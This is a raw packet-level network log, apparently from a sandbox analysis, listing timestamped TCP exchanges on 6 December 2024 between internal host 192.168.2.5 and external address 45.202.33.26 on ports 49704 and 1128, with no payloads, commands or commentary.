Dec 6, 2024 14:19:44.235121012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.235342979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.236076117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.236115932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.236155987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.236360073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.237071991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.237180948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.237287998 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.238040924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.238095999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.238157034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.239044905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.239101887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.239279985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.240056038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.240163088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.240226984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.241034985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.241192102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.241636038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.242002010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.242121935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.242252111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.243001938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.243091106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.243264914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.266375065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.266473055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.266849995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.266896963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.266968966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.267127991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.267865896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.268132925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.268241882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.269021034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.321578026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.387032032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.387106895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.387460947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.387567043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.387624025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.388227940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.388349056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.389209986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.389272928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.389305115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.389565945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.390207052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.390321970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.390865088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.391182899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.391264915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.391324043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.392222881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.392398119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.392507076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.393227100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.393387079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.393448114 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.394248962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.394290924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.394356966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.395138979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.395260096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.395411015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.396166086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.396244049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.396294117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.397145033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.397355080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.397484064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.398139954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.398303986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.398530960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.399116039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.399171114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.399219036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.400196075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.400342941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.400484085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.401288986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.401487112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.401843071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.402214050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.402355909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.402425051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.403074026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.403175116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.403707027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.404098034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.404357910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.404412031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.405178070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.405282974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.405570984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.406202078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.406272888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.406464100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.407037973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.407200098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.407247066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.408004999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.408149004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.408248901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.409039021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.409118891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.409219027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.410007954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.410118103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.410166025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.410988092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.411319017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.411365032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.411971092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.412250042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.412528038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.412966013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.413117886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.413172960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.413957119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.414063931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.414283991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.414940119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.415079117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.415911913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.416054010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.416116953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.416162968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.416927099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.417068005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.417130947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.417921066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.418068886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.418112993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.418905973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.419037104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.419167995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.419915915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.420011044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.420048952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.420907021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.421053886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.421122074 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.421900988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.422003031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.422064066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.422880888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.422981024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.423043966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.423855066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.423966885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.424069881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.424873114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.424978971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.425479889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.425860882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.425951004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.426045895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.426811934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.427067995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.427113056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.427860022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.427937031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.427984953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.428843021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.428931952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.429147005 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.429852009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.430087090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.430125952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.430788994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.430954933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.431421995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.431803942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.431865931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.431999922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.432779074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.432907104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.433335066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.433749914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.433886051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.433954954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.434740067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.434848070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.434998989 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.458378077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.458444118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.458851099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.458900928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.458925009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.459372997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.459793091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.459976912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.460035086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.460784912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.509078979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.579046011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.579148054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.579345942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.579420090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.579637051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.579706907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.579720974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.580631018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.580792904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.580842972 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.581617117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.581661940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.581726074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.582640886 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.582725048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.582779884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.583616972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.583695889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.583741903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.584614038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.584717035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.584728003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.585577011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.585624933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.585638046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.586589098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.586636066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.586675882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.587569952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.587624073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.587666988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.588551998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.588606119 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.588665962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.589536905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.589593887 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.589673996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.590539932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.590636969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.590661049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.591582060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.591645956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.591658115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.592515945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.592566967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.592690945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.593501091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.593625069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.593627930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.594533920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.594578981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.594650030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.595514059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.595563889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.595629930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.596518993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.596575022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.596613884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.597481966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.597559929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.597635984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.598449945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.598547935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.599446058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.599503040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.599679947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.600475073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.600570917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.600620985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.601408005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.601546049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.601572037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.602431059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.602557898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.602869034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.603432894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.603485107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.603528976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.604505062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.604563951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.604598045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.605443954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.605525970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.605544090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.606393099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.606443882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.606656075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.607377052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.607423067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.607642889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.608371973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.608599901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.608751059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.609364033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.609411001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.609467983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.610388041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.610455036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.610455990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.611376047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.611437082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.611458063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.612341881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.612406969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.612463951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.613308907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.613476038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.613534927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.614300013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.614350080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.614388943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.615349054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.615392923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.615461111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.616267920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.616451979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.616508961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.617261887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.617312908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.617419958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.618256092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.618295908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.618334055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.619308949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.619363070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.619450092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.620256901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.620306969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.620393038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.621228933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.621274948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.621301889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.622206926 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.622260094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.622297049 CET	1128	49704	45.202.33.26	192.168.2.5
